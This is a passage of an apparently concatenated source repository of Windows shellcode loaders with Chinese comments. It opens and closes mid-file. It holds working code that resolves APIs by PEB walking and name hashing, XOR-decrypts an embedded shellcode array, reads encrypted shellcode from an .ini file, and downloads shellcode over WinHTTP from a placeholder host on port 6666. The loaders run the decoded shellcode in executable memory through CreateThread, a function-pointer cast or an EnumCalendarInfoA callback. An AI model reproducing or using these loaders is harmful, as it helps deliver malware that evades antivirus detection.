i++) { 52 | hash += data[i] + (hash << 1); 53 | } 54 | return hash; 55 | } 56 | 57 | static DWORD calcMyHashBase(LDR_MODULE* mdll) { 58 | char name[64]; 59 | size_t i = 0; 60 | 61 | while (mdll->dllname.Buffer[i] && i < sizeof(name) - 1) { 62 | name[i] = (char)mdll->dllname.Buffer[i]; 63 | i++; 64 | } 65 | name[i] = 0; 66 | return calcMyHash((char*)CharLowerA(name)); 67 | } 68 | 69 | //从内存中获取Kernel32.dll的基地址 70 | static HMODULE getKernel32(DWORD myHash) { 71 | HMODULE kernel32; 72 | 73 | // 获取PEB结构地址(在x64位系统中的偏移量,32位不同) 74 | INT_PTR peb = __readgsqword(0x60); 75 | 76 | auto modList = 0x18; // PEB_LDR_DATA结构中模块列表偏移量 77 | auto modListFlink = 0x18; // LDR_DATA_TABLE_ENTRY结构中下一个模块的偏移量 78 | auto kernelBaseAddr = 0x10; // LDR_DATA_TABLE_ENTRY结构中映像基地址的偏移量 79 | 80 | // 获取PEB_LDR_DATA结构中的模块列表指针 81 | auto mdllist = *(INT_PTR*)(peb + modList); 82 | 83 | // 获取第一个模块的LDR_DATA_TABLE_ENTRY结构中的下一个模块的指针 84 | auto mlink = *(INT_PTR*)(mdllist + modListFlink); 85 | 86 | // 获取kernel32.dll的基地址 87 | auto krnbase = *(INT_PTR*)(mlink + kernelBaseAddr); 88 | 89 | auto mdl = (LDR_MODULE*)mlink; 90 | 91 | // 遍历模块列表,查找kernel32.dll模块 92 | do { 93 | mdl = (LDR_MODULE*)mdl->e[0].Flink; // 获取下一个模块的LDR_MODULE结构指针 94 | if (mdl->base != nullptr) { // 确认模块的基地址不为空 95 | if (calcMyHashBase(mdl) == myHash) { // 比较模块基地址的hash值是否与目标值相同,即找到了kernel32.dll 96 | break; 97 | } 98 | } 99 | } while (mlink != (INT_PTR)mdl); // 如果遍历到的模块指针等于最开始的指针,则已遍历完整个模块列表 100 | 101 | kernel32 = (HMODULE)mdl->base; // 将kernel32.dll模块的基地址保存在kernel32变量中 102 | return kernel32; 103 | } 104 | 105 | //列出kernel32.dll中的api函数,计算hash与传入的目标hash对比 106 | static LPVOID getAPIAddr(HMODULE h, DWORD myHash) { 107 | PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h; 108 | PIMAGE_NT_HEADERS img_nt_header = (PIMAGE_NT_HEADERS)((LPBYTE)h + img_dos_header->e_lfanew); 109 | PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)( 110 | (LPBYTE)h + img_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); 111 | PDWORD fAddr = (PDWORD)((LPBYTE)h + img_edt->AddressOfFunctions); 112 | PDWORD fNames = (PDWORD)((LPBYTE)h + img_edt->AddressOfNames); 113 | PWORD fOrd = (PWORD)((LPBYTE)h + img_edt->AddressOfNameOrdinals); 114 | 115 | for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) { 116 | LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]); 117 | 118 | if (calcMyHash(pFuncName) == myHash) { 119 | printf("successfully found! %s - %d\n", pFuncName, myHash); 120 | return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]); 121 | } 122 | } 123 | return nullptr; 124 | } 125 | 126 | unsigned char my_payload[] = { 0x8f, 0x27, 0xf7, 0x8c, 0x99, 0x9b, 0xa9, 0x73, 0x74, 0x65, 0x32, 0x25, 0x32, 0x3f, 0x26, 0x39, 0x3f, 0x3b, 0x58, 0xa1, 0x11, 0x2d, 0xf8, 0x26, 0x13, 0x27, 0xff, 0x3a, 0x71, 0x3b, 0xe2, 0x21, 0x54, 0x2d, 0xf8, 0x6, 0x23, 0x27, 0x7b, 0xdf, 0x23, 0x39, 0x24, 0x42, 0xbd, 0x2d, 0x42, 0xb4, 0xdf, 0x53, 0x15, 0x14, 0x6b, 0x5f, 0x49, 0x32, 0xb5, 0xac, 0x7e, 0x35, 0x72, 0xae, 0x96, 0x85, 0x3b, 0x32, 0x38, 0x3b, 0xff, 0x37, 0x53, 0xff, 0x31, 0x53, 0x3c, 0x69, 0xb9, 0xf8, 0xe9, 0xfb, 0x74, 0x65, 0x73, 0x3c, 0xf6, 0xaf, 0x0, 0xf, 0x21, 0x72, 0xb9, 0x23, 0xff, 0x2d, 0x6b, 0x30, 0xf8, 0x2f, 0x54, 0x21, 0x68, 0xa3, 0x8a, 0x25, 0x3c, 0x9a, 0xba, 0x35, 0xf8, 0x5b, 0xfc, 0x20, 0x68, 0xa5, 0x24, 0x42, 0xbd, 0x2d, 0x42, 0xb4, 0xdf, 0x2e, 0xb5, 0xa1, 0x64, 0x32, 0x68, 0xb2, 0x4c, 0x85, 0x6, 0x85, 0x3f, 0x6c, 0x38, 0x4c, 0x61, 0x36, 0x50, 0xa2, 0x1, 0xbd, 0x2b, 0x30, 0xf8, 0x2f, 0x50, 0x21, 0x68, 0xa3, 0xf, 0x32, 0xff, 0x69, 0x3b, 0x30, 0xf8, 0x2f, 0x68, 0x21, 0x68, 0xa3, 0x28, 0xf8, 0x70, 0xed, 0x3b, 0x75, 0xa3, 0x2e, 0x2c, 0x29, 0x31, 0x2d, 0x30, 0x29, 0x35, 0x3d, 0x32, 0x2d, 0x32, 0x35, 0x3c, 0xeb, 0x85, 0x53, 0x28, 0x21, 0x8b, 0x85, 0x2b, 0x35, 0x2a, 0x35, 0x3c, 0xe3, 0x7b, 0x9a, 0x3e, 0x8c, 0x8b, 0x9a, 0x2e, 0x3c, 0xc9, 0x6e, 0x74, 0x68, 0x69, 0x73, 0x69, 0x73, 0x74, 0x2d, 0xfe, 0xf9, 0x72, 0x6e, 0x74, 0x68, 0x28, 0xc9, 0x58, 0xf8, 0x1b, 0xe2, 0x8c, 0xa1, 0xc8, 0x9f, 0xc1, 0xca, 0x3f, 0x32, 0xd3, 0xd5, 0xe1, 0xd8, 0xee, 0x8b, 0xa6, 0x27, 0xf7, 0xac, 0x41, 0x4f, 0x6f, 0xf, 0x7e, 0xe5, 0x88, 0x94, 0x6, 0x6a, 0xcf, 0x2f, 0x7a, 0x1, 0x6, 0x19, 0x74, 0x3c, 0x32, 0xfd, 0xa9, 0x90, 0xa1, 0xb, 0x8, 0x1f, 0xa, 0x5d, 0x11, 0x1d, 0x16, 0x74 }; 127 | unsigned int my_payload_len = sizeof(my_payload); 128 | 129 | // key for XOR decrypt 130 | char my_secret_key[] = "sothisistest"; 131 | 132 | // decrypt deXOR function 133 | void XOR(char* data, size_t data_len, char* key, size_t key_len) { 134 | int j; 135 | j = 0; 136 | for (int i = 0; i < data_len; i++) { 137 | if (j == key_len - 1) j = 0; 138 | 139 | data[i] = data[i] ^ key[j]; 140 | j++; 141 | } 142 | } 143 | 144 | int main() { 145 | HMODULE mod = getKernel32(56369259); 146 | fnGetModuleHandleA myGetModuleHandleA = (fnGetModuleHandleA)getAPIAddr(mod, 4038080516); 147 | fnGetProcAddress myGetProcAddress = (fnGetProcAddress)getAPIAddr(mod, 448915681); 148 | 149 | HMODULE hk32 = myGetModuleHandleA("kernel32.dll"); 150 | fnVirtualAlloc myVirtualAlloc = (fnVirtualAlloc)myGetProcAddress(hk32, "VirtualAlloc"); 151 | fnCreateThread myCreateThread = (fnCreateThread)myGetProcAddress(hk32, "CreateThread"); 152 | fnWaitForSingleObject myWaitForSingleObject = (fnWaitForSingleObject)myGetProcAddress(hk32, "WaitForSingleObject"); 153 | 154 | XOR((char*)my_payload, my_payload_len, my_secret_key, sizeof(my_secret_key)); 155 | 156 | PVOID lb = myVirtualAlloc(0, sizeof(my_payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 157 | memcpy(lb, my_payload, sizeof(my_payload)); 158 | HANDLE th = myCreateThread(NULL, 0, (PTHREAD_START_ROUTINE)lb, NULL, 0, NULL); 159 | myWaitForSingleObject(th, INFINITE); 160 | } 161 | -------------------------------------------------------------------------------- /baseAddressToCallDll/README.md: -------------------------------------------------------------------------------- 1 | ![image-20230323191529619](https://s2.loli.net/2023/03/23/YcCGtTK7VPoqs6h.png) -------------------------------------------------------------------------------- /begin_and_convert.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | //原始shellcode过滤成字符串 5 | /* 6 | "\xac\xv2\x3f" 7 | "\xac\xv2\x3f" 8 | "\xac\xv2\x3f" 9 | "\xac\xv2\x3f" 10 | "\xac\xv2\x3f" 11 | */ 12 | void Compressed(const char* FileName) 13 | { 14 | FILE* fp_read; 15 | char write_ch; 16 | if ((fp_read = fopen(FileName, "r")) != NULL) 17 | { 18 | while ((write_ch = fgetc(fp_read)) != EOF) 19 | { 20 | if (write_ch != L'\n' && write_ch != L'\"' && write_ch != L'\\' && write_ch != L'x' && write_ch != L';') 21 | { 22 | printf("%c", write_ch); 23 | } 24 | } 25 | } 26 | _fcloseall(); 27 | } 28 | 29 | int main(int argc, char* argv[]) 30 | { 31 | unsigned int char_in_hex; 32 | 33 | char* shellcode = argv[1]; 34 | unsigned int iterations = strlen(shellcode); 35 | 36 | unsigned int memory_allocation = strlen(shellcode) / 2; 37 | 38 | //十六进制的shellcode转换为可执行的代码 39 | for (unsigned int i = 0; i < iterations - 1; i++) 40 | { 41 | sscanf(shellcode + 2 * i, "%2X", &char_in_hex); 42 | shellcode[i] = (char)char_in_hex; 43 | } 44 | 45 | void* exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE); 46 | memcpy(exec, shellcode, memory_allocation); 47 | DWORD ignore; 48 | VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore); 49 | (*(void(*)()) exec)(); 50 | 51 | return 0; 52 | } 53 | -------------------------------------------------------------------------------- /get_api_from_peb/README.md: -------------------------------------------------------------------------------- 1 | ![image-20230417134710067](https://s2.loli.net/2023/04/17/sWvwY2Dgz8N5jMt.png) -------------------------------------------------------------------------------- /get_api_from_peb/test.cpp: -------------------------------------------------------------------------------- 1 | #define _CRT_SECURE_NO_DEPRECATE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | using namespace std; 10 | 11 | #pragma comment(lib, "Shlwapi.lib") 12 | #pragma warning(disable:4996) 13 | 14 | int cmpUnicodeStr(WCHAR substr[], WCHAR mystr[]) { 15 | _wcslwr_s(substr, MAX_PATH); 16 | _wcslwr_s(mystr, MAX_PATH); 17 | 18 | int result = 0; 19 | if (StrStrW(mystr, substr) != NULL) { 20 | result = 1; 21 | } 22 | 23 | return result; 24 | } 25 | 26 | typedef BOOL(WINAPI* EnumInfo)( 27 | CALINFO_ENUMPROCA proc, 28 | LCID Eocale, 29 | CALID Calender, 30 | CALTYPE Type 31 | ); 32 | 33 | typedef BOOL(WINAPI* Exchange_)( 34 | LPVOID lpAddress, 35 | SIZE_T DWsIZE, 36 | DWORD New, 37 | PDWORD Old 38 | ); 39 | 40 | 41 | typedef UINT(WINAPI* GetfileInt)( 42 | LPCSTR LPAPPNAME, 43 | LPCSTR KEYNAME, 44 | INT DEFINE, 45 | LPCSTR FILENAME 46 | ); 47 | 48 | // custom implementation 49 | HMODULE myGetModuleHandle(LPCWSTR lModuleName) { 50 | 51 | // obtaining the offset of PPEB from the beginning of TEB 52 | PEB* pPeb = (PEB*)__readgsqword(0x60); 53 | 54 | // for x86 55 | // PEB* pPeb = (PEB*)__readgsqword(0x30); 56 | 57 | // obtaining the address of the head node in a linked list 58 | // which represents all the models that are loaded into the process. 59 | PEB_LDR_DATA* Ldr = pPeb->Ldr; 60 | LIST_ENTRY* ModuleList = &Ldr->InMemoryOrderModuleList; 61 | 62 | // iterating to the next node. this will be our starting point. 63 | LIST_ENTRY* pStartListEntry = ModuleList->Flink; 64 | 65 | // iterating through the linked list. 66 | WCHAR mystr[MAX_PATH] = { 0 }; 67 | WCHAR substr[MAX_PATH] = { 0 }; 68 | for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry != ModuleList; pListEntry = pListEntry->Flink) { 69 | 70 | // getting the address of current LDR_DATA_TABLE_ENTRY (which represents the DLL). 71 | LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)pListEntry - sizeof(LIST_ENTRY)); 72 | 73 | // checking if this is the DLL we are looking for 74 | memset(mystr, 0, MAX_PATH * sizeof(WCHAR)); 75 | memset(substr, 0, MAX_PATH * sizeof(WCHAR)); 76 | wcscpy_s(mystr, MAX_PATH, pEntry->FullDllName.Buffer); 77 | wcscpy_s(substr, MAX_PATH, lModuleName); 78 | if (cmpUnicodeStr(substr, mystr)) { 79 | // returning the DLL base address. 80 | return (HMODULE)pEntry->DllBase; 81 | } 82 | } 83 | 84 | // the needed DLL wasn't found 85 | printf("failed to get a handle to %s\n", (char)lModuleName); 86 | return NULL; 87 | } 88 | 89 | FARPROC myGetProcAddress(HMODULE hModule, LPCSTR lpProcName) { 90 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule; 91 | PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew); 92 | PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + 93 | ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); 94 | 95 | DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfFunctions); 96 | WORD* addressOfNameOrdinals = (WORD*)((BYTE*)hModule + exportDirectory->AddressOfNameOrdinals); 97 | DWORD* addressOfNames = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfNames); 98 | 99 | for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) { 100 | if (strcmp(lpProcName, (const char*)hModule + addressOfNames[i]) == 0) { 101 | return (FARPROC)((BYTE*)hModule + addressOfFunctions[addressOfNameOrdinals[i]]); 102 | } 103 | } 104 | 105 | return NULL; 106 | } 107 | 108 | // encrypted module name (kernel32.dll) 109 | char s_dll[] = { 0x1f, 0xd, 0x1b, 0x1d, 0xc, 0x1f, 0x72, 0x46, 0x4b, 0x17, 0x18, 0x18 }; 110 | 111 | // key 112 | char s_key[] = "thisisAtest"; 113 | 114 | // XOR decrypt 115 | void XOR(char* data, size_t data_len, char* key, size_t key_len) { 116 | int j; 117 | j = 0; 118 | for (int i = 0; i < data_len; i++) { 119 | if (j == key_len - 1) j = 0; 120 | data[i] = data[i] ^ key[j]; 121 | j++; 122 | } 123 | } 124 | 125 | void decode() { 126 | char buf[3000]; 127 | unsigned int bt[3000]; 128 | CHAR PATH[MAX_PATH]; 129 | GetCurrentDirectoryA( 130 | MAX_PATH, PATH 131 | ); 132 | cout << PATH; 133 | strcat(PATH, "\\sc.ini"); 134 | cout << PATH; 135 | 136 | XOR((char*)s_dll, sizeof(s_dll), s_key, sizeof(s_key)); 137 | 138 | wchar_t wtext[20]; 139 | mbstowcs(wtext, s_dll, strlen(s_dll) + 1); 140 | LPWSTR user_dll = wtext; 141 | 142 | HMODULE mod = myGetModuleHandle(user_dll); 143 | if (NULL == mod) { 144 | return ; 145 | } 146 | 147 | GetfileInt GetFileIntA = (GetfileInt)myGetProcAddress( 148 | mod, "GetPrivateProfileIntA" 149 | ); 150 | Exchange_ exchange_ = (Exchange_)myGetProcAddress( 151 | mod, "VirtualProtect" 152 | ); 153 | 154 | EnumInfo EnumInfoA = (EnumInfo)myGetProcAddress( 155 | mod, "EnumCalendarInfoA" 156 | ); 157 | 158 | for (int i = 0; i < 3000; i++) { 159 | _itoa_s(i, buf, 10); 160 | UINT k = GetFileIntA( 161 | "key", 162 | buf, NULL, PATH 163 | ); 164 | bt[i] = k; 165 | } 166 | cout << endl; 167 | unsigned char* a = (unsigned char*)malloc(sizeof(bt)); 168 | free(a); 169 | unsigned char* b = (unsigned char*)malloc(sizeof(bt)); 170 | for (int i = 0; i < (sizeof(bt) / sizeof(bt[0])); i++) { 171 | b[i] = (unsigned char)(bt[i] ^ 1024); 172 | } 173 | for (size_t i = 0; i < (sizeof(bt) / sizeof(bt[0])); ++i) { 174 | std::cout << std::hex << (int)b[i] << " "; 175 | } 176 | DWORD p; 177 | exchange_( 178 | a, sizeof(a), 0x40, &p 179 | ); 180 | EnumInfoA( 181 | (CALINFO_ENUMPROCA)a, LOCALE_SYSTEM_DEFAULT, ENUM_ALL_CALENDARS, CAL_ICALINTVALUE 182 | ); 183 | } 184 | 185 | int main(int argc,char* arg[]) { 186 | decode(); 187 | return 0; 188 | } 189 | -------------------------------------------------------------------------------- /get_shellcode_from_server/README.md: -------------------------------------------------------------------------------- 1 | ![image-20230328212149733](https://s2.loli.net/2023/03/28/ms1M4FltyOoDZ8B.png) -------------------------------------------------------------------------------- /get_shellcode_from_server/test.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "AES.h" 3 | #include "Base64.h" 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | using namespace std; 11 | #pragma warning(disable:4996) 12 | #pragma comment(lib, "winhttp.lib") 13 | 14 | char* WinGet(char* ip, int port, char* url) 15 | { 16 | 17 | HINTERNET hSession = NULL; 18 | HINTERNET hConnect = NULL; 19 | HINTERNET hRequest = NULL; 20 | 21 | //************ 将char转换为wchar_t *****************/ 22 | int ipSize; 23 | wchar_t* ip_wchar; 24 | //返回接受字符串所需缓冲区的大小,已经包含字符结尾符'\0' 25 | ipSize = MultiByteToWideChar(CP_ACP, 0, ip, -1, NULL, 0); //iSize =wcslen(pwsUnicode)+1=6 26 | ip_wchar = (wchar_t*)malloc(ipSize * sizeof(wchar_t)); //不需要 pwszUnicode = (wchar_t *)malloc((iSize+1)*sizeof(wchar_t)) 27 | MultiByteToWideChar(CP_ACP, 0, ip, -1, ip_wchar, ipSize); 28 | 29 | int urlSize; 30 | wchar_t* url_wchar; 31 | //返回接受字符串所需缓冲区的大小,已经包含字符结尾符'\0' 32 | urlSize = MultiByteToWideChar(CP_ACP, 0, url, -1, NULL, 0); //iSize =wcslen(pwsUnicode)+1=6 33 | url_wchar = (wchar_t*)malloc(urlSize * sizeof(wchar_t)); //不需要 pwszUnicode = (wchar_t *)malloc((iSize+1)*sizeof(wchar_t)) 34 | MultiByteToWideChar(CP_ACP, 0, url, -1, url_wchar, urlSize); 35 | //************ ********************************* *****************/ 36 | 37 | 38 | //port = 80; //默认端口 39 | 40 | //1. 初始化一个WinHTTP-session句柄,参数1为此句柄的名称 41 | hSession = WinHttpOpen(L"WinHTTP Example/1.0", 42 | WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, 43 | WINHTTP_NO_PROXY_NAME, 44 | WINHTTP_NO_PROXY_BYPASS, 0); 45 | 46 | if (hSession == NULL) { 47 | cout << "Error:Open session failed: " << GetLastError() << endl; 48 | exit(0); 49 | } 50 | 51 | //2. 通过上述句柄连接到服务器,需要指定服务器IP和端口号 INTERNET_DEFAULT_HTTP_PORT:80。若连接成功,返回的hConnect句柄不为NULL 52 | hConnect = WinHttpConnect(hSession, ip_wchar, port, 0); 53 | if (hConnect == NULL) { 54 | cout << "Error:Connect failed: " << GetLastError() << endl; 55 | exit(0); 56 | } 57 | 58 | //3. 通过hConnect句柄创建一个hRequest句柄,用于发送数据与读取从服务器返回的数据。 59 | hRequest = WinHttpOpenRequest(hConnect, L"GET", url_wchar, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); 60 | //其中参数2表示请求方式,此处为Get;参数3:给定Get的具体地址,如这里的具体地址为https://www.citext.cn/GetTime.php 61 | if (hRequest == NULL) { 62 | cout << "Error:OpenRequest failed: " << GetLastError() << endl; 63 | exit(0); 64 | } 65 | 66 | BOOL bResults; 67 | //发送请求 68 | bResults = WinHttpSendRequest(hRequest, 69 | WINHTTP_NO_ADDITIONAL_HEADERS, 70 | 0, WINHTTP_NO_REQUEST_DATA, 0, 71 | 0, 0); 72 | 73 | if (!bResults) { 74 | cout << "Error:SendRequest failed: " << GetLastError() << endl; 75 | exit(0); 76 | } 77 | else { 78 | //(3) 发送请求成功则准备接受服务器的response。注意:在使用 WinHttpQueryDataAvailable和WinHttpReadData前必须使用WinHttpReceiveResponse才能access服务器返回的数据 79 | bResults = WinHttpReceiveResponse(hRequest, NULL); 80 | } 81 | 82 | 83 | LPVOID lpHeaderBuffer = NULL; 84 | DWORD dwSize = 0; 85 | //4-3. 获取服务器返回数据 86 | LPSTR pszOutBuffer = NULL; 87 | DWORD dwDownloaded = 0; //实际收取的字符数 88 | wchar_t* pwText = NULL; 89 | if (bResults) 90 | { 91 | do 92 | { 93 | //(1) 获取返回数据的大小(以字节为单位) 94 | dwSize = 0; 95 | if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) { 96 | cout << "Error:WinHttpQueryDataAvailable failed:" << GetLastError() << endl; 97 | break; 98 | } 99 | if (!dwSize) break; //数据大小为0 100 | 101 | //(2) 根据返回数据的长度为buffer申请内存空间 102 | pszOutBuffer = new char[dwSize + 1]; 103 | if (!pszOutBuffer) { 104 | cout << "Out of memory." << endl; 105 | break; 106 | } 107 | ZeroMemory(pszOutBuffer, dwSize + 1); //将buffer置0 108 | 109 | //(3) 通过WinHttpReadData读取服务器的返回数据 110 | if (!WinHttpReadData(hRequest, pszOutBuffer, dwSize, &dwDownloaded)) { 111 | cout << "Error:WinHttpQueryDataAvailable failed:" << GetLastError() << endl; 112 | } 113 | if (!dwDownloaded) 114 | break; 115 | 116 | 117 | } while (dwSize > 0); 118 | //4-4. 将返回数据转换成UTF8 119 | DWORD dwNum = MultiByteToWideChar(CP_ACP, 0, pszOutBuffer, -1, NULL, 0); //返回原始ASCII码的字符数目 120 | pwText = new wchar_t[dwNum]; //根据ASCII码的字符数分配UTF8的空间 121 | MultiByteToWideChar(CP_UTF8, 0, pszOutBuffer, -1, pwText, dwNum); //将ASCII码转换成UTF8 122 | //printf("\n返回数据为:\n%S\n\n", pwText); 123 | 124 | 125 | } 126 | 127 | //5. 依次关闭request,connect,session句柄 128 | if (hRequest) WinHttpCloseHandle(hRequest); 129 | if (hConnect) WinHttpCloseHandle(hConnect); 130 | if (hSession) WinHttpCloseHandle(hSession); 131 | 132 | /****************** 将wchar转换为char *******************/ 133 | int iSize; 134 | char* data; 135 | 136 | //返回接受字符串所需缓冲区的大小,已经包含字符结尾符'\0' 137 | iSize = WideCharToMultiByte(CP_ACP, 0, pwText, -1, NULL, 0, NULL, NULL); //iSize =wcslen(pwsUnicode)+1=6 138 | data = (char*)malloc(iSize * sizeof(char)); //不需要 pszMultiByte = (char*)malloc(iSize*sizeof(char)+1); 139 | WideCharToMultiByte(CP_ACP, 0, pwText, -1, data, iSize, NULL, NULL); 140 | return data; 141 | } 142 | 143 | typedef struct _UNICODE_STRING { 144 | USHORT Length; 145 | USHORT MaximumLength; 146 | PWSTR Buffer; 147 | } UNICODE_STRING; 148 | 149 | struct LDR_MODULE { 150 | LIST_ENTRY e[3]; 151 | HMODULE base; 152 | void* entry; 153 | UINT size; 154 | UNICODE_STRING dllPath; 155 | UNICODE_STRING dllname; 156 | }; 157 | 158 | typedef HMODULE(WINAPI* fnGetModuleHandleA)( 159 | LPCSTR lpModuleName 160 | ); 161 | 162 | typedef FARPROC(WINAPI* fnGetProcAddress)( 163 | HMODULE hModule, 164 | LPCSTR lpProcName 165 | ); 166 | 167 | typedef PVOID(WINAPI* fnVirtualAlloc)( 168 | LPVOID lpAddress, 169 | SIZE_T dwSize, 170 | DWORD flAllocationType, 171 | DWORD flProtect 172 | ); 173 | 174 | typedef PVOID(WINAPI* fnCreateThread)( 175 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 176 | SIZE_T dwStackSize, 177 | LPTHREAD_START_ROUTINE lpStartAddress, 178 | LPVOID lpParameter, 179 | DWORD dwCreationFlags, 180 | LPDWORD lpThreadId 181 | ); 182 | 183 | typedef PVOID(WINAPI* fnWaitForSingleObject)( 184 | HANDLE hHandle, 185 | DWORD dwMilliseconds 186 | ); 187 | 188 | DWORD calcMyHash(char* data) { 189 | DWORD hash = 0x35; 190 | for (int i = 0; i < strlen(data); i++) { 191 | hash += data[i] + (hash << 1); 192 | } 193 | return hash; 194 | } 195 | 196 | static DWORD calcMyHashBase(LDR_MODULE* mdll) { 197 | char name[64]; 198 | size_t i = 0; 199 | 200 | while (mdll->dllname.Buffer[i] && i < sizeof(name) - 1) { 201 | name[i] = (char)mdll->dllname.Buffer[i]; 202 | i++; 203 | } 204 | name[i] = 0; 205 | return calcMyHash((char*)CharLowerA(name)); 206 | } 207 | 208 | //从内存中获取Kernel32.dll的基地址 209 | static HMODULE getKernel32(DWORD myHash) { 210 | HMODULE kernel32; 211 | 212 | // 获取PEB结构地址(在x64位系统中的偏移量,32位不同) 213 | INT_PTR peb = __readgsqword(0x60); 214 | 215 | auto modList = 0x18; // PEB_LDR_DATA结构中模块列表偏移量 216 | auto modListFlink = 0x18; // LDR_DATA_TABLE_ENTRY结构中下一个模块的偏移量 217 | auto kernelBaseAddr = 0x10; // LDR_DATA_TABLE_ENTRY结构中映像基地址的偏移量 218 | 219 | // 获取PEB_LDR_DATA结构中的模块列表指针 220 | auto mdllist = *(INT_PTR*)(peb + modList); 221 | 222 | // 获取第一个模块的LDR_DATA_TABLE_ENTRY结构中的下一个模块的指针 223 | auto mlink = *(INT_PTR*)(mdllist + modListFlink); 224 | 225 | // 获取kernel32.dll的基地址 226 | auto krnbase = *(INT_PTR*)(mlink + kernelBaseAddr); 227 | 228 | auto mdl = (LDR_MODULE*)mlink; 229 | 230 | // 遍历模块列表,查找kernel32.dll模块 231 | do { 232 | mdl = (LDR_MODULE*)mdl->e[0].Flink; // 获取下一个模块的LDR_MODULE结构指针 233 | if (mdl->base != nullptr) { // 确认模块的基地址不为空 234 | if (calcMyHashBase(mdl) == myHash) { // 比较模块基地址的hash值是否与目标值相同,即找到了kernel32.dll 235 | break; 236 | } 237 | } 238 | } while (mlink != (INT_PTR)mdl); // 如果遍历到的模块指针等于最开始的指针,则已遍历完整个模块列表 239 | 240 | kernel32 = (HMODULE)mdl->base; // 将kernel32.dll模块的基地址保存在kernel32变量中 241 | return kernel32; 242 | } 243 | 244 | //列出kernel32.dll中的api函数,计算hash与传入的目标hash对比 245 | static LPVOID getAPIAddr(HMODULE h, DWORD myHash) { 246 | PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h; 247 | PIMAGE_NT_HEADERS img_nt_header = (PIMAGE_NT_HEADERS)((LPBYTE)h + img_dos_header->e_lfanew); 248 | PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)( 249 | (LPBYTE)h + img_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); 250 | PDWORD fAddr = (PDWORD)((LPBYTE)h + img_edt->AddressOfFunctions); 251 | PDWORD fNames = (PDWORD)((LPBYTE)h + img_edt->AddressOfNames); 252 | PWORD fOrd = (PWORD)((LPBYTE)h + img_edt->AddressOfNameOrdinals); 253 | 254 | for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) { 255 | LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]); 256 | 257 | if (calcMyHash(pFuncName) == myHash) { 258 | printf("successfully found! %s - %d\n", pFuncName, myHash); 259 | return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]); 260 | } 261 | } 262 | return nullptr; 263 | } 264 | 265 | //// key for XOR decrypt 266 | char my_secret_key[] = "sothisistest"; 267 | 268 | // decrypt deXOR function 269 | void XOR(char* data, size_t data_len, char* key, size_t key_len) { 270 | int j; 271 | j = 0; 272 | for (int i = 0; i < data_len; i++) { 273 | if (j == key_len - 1) j = 0; 274 | 275 | data[i] = data[i] ^ key[j]; 276 | j++; 277 | } 278 | } 279 | 280 | void loader(char* my_payload, int my_payload_len) { 281 | HMODULE mod = getKernel32(56369259); 282 | fnGetModuleHandleA myGetModuleHandleA = (fnGetModuleHandleA)getAPIAddr(mod, 4038080516); 283 | fnGetProcAddress myGetProcAddress = (fnGetProcAddress)getAPIAddr(mod, 448915681); 284 | 285 | HMODULE hk32 = myGetModuleHandleA("kernel32.dll"); 286 | fnVirtualAlloc myVirtualAlloc = (fnVirtualAlloc)myGetProcAddress(hk32, "VirtualAlloc"); 287 | fnCreateThread myCreateThread = (fnCreateThread)myGetProcAddress(hk32, "CreateThread"); 288 | fnWaitForSingleObject myWaitForSingleObject = (fnWaitForSingleObject)myGetProcAddress(hk32, "WaitForSingleObject"); 289 | 290 | XOR((char*)my_payload, my_payload_len, my_secret_key, sizeof(my_secret_key)); 291 | 292 | PVOID lb = myVirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 293 | memcpy(lb, my_payload, my_payload_len); 294 | HANDLE th = myCreateThread(NULL, 0, (PTHREAD_START_ROUTINE)lb, NULL, 0, NULL); 295 | myWaitForSingleObject(th, INFINITE); 296 | } 297 | 298 | 299 | char* StrToShellcode(char str[]) 300 | { 301 | char buf[2048]; 302 | const char s[2] = ","; 303 | char* token; 304 | int i = 0; 305 | /* 获取第一个子字符串 */ 306 | token = strtok(str, s); 307 | //buf[i] = char(stoi(token)); 308 | /* 继续获取其他的子字符串 */ 309 | while (token != NULL) { 310 | 311 | buf[i] = char(stoi(token)); //stoi函数将字符串转换整数 312 | token = strtok(NULL, s); 313 | i++; 314 | } 315 | loader(buf, 2048); 316 | return buf; 317 | } 318 | 319 | int main(int argc, char* argv[]) 320 | { 321 | char* data; 322 | data = WinGet("xx.xx.xx.xx", 6666, 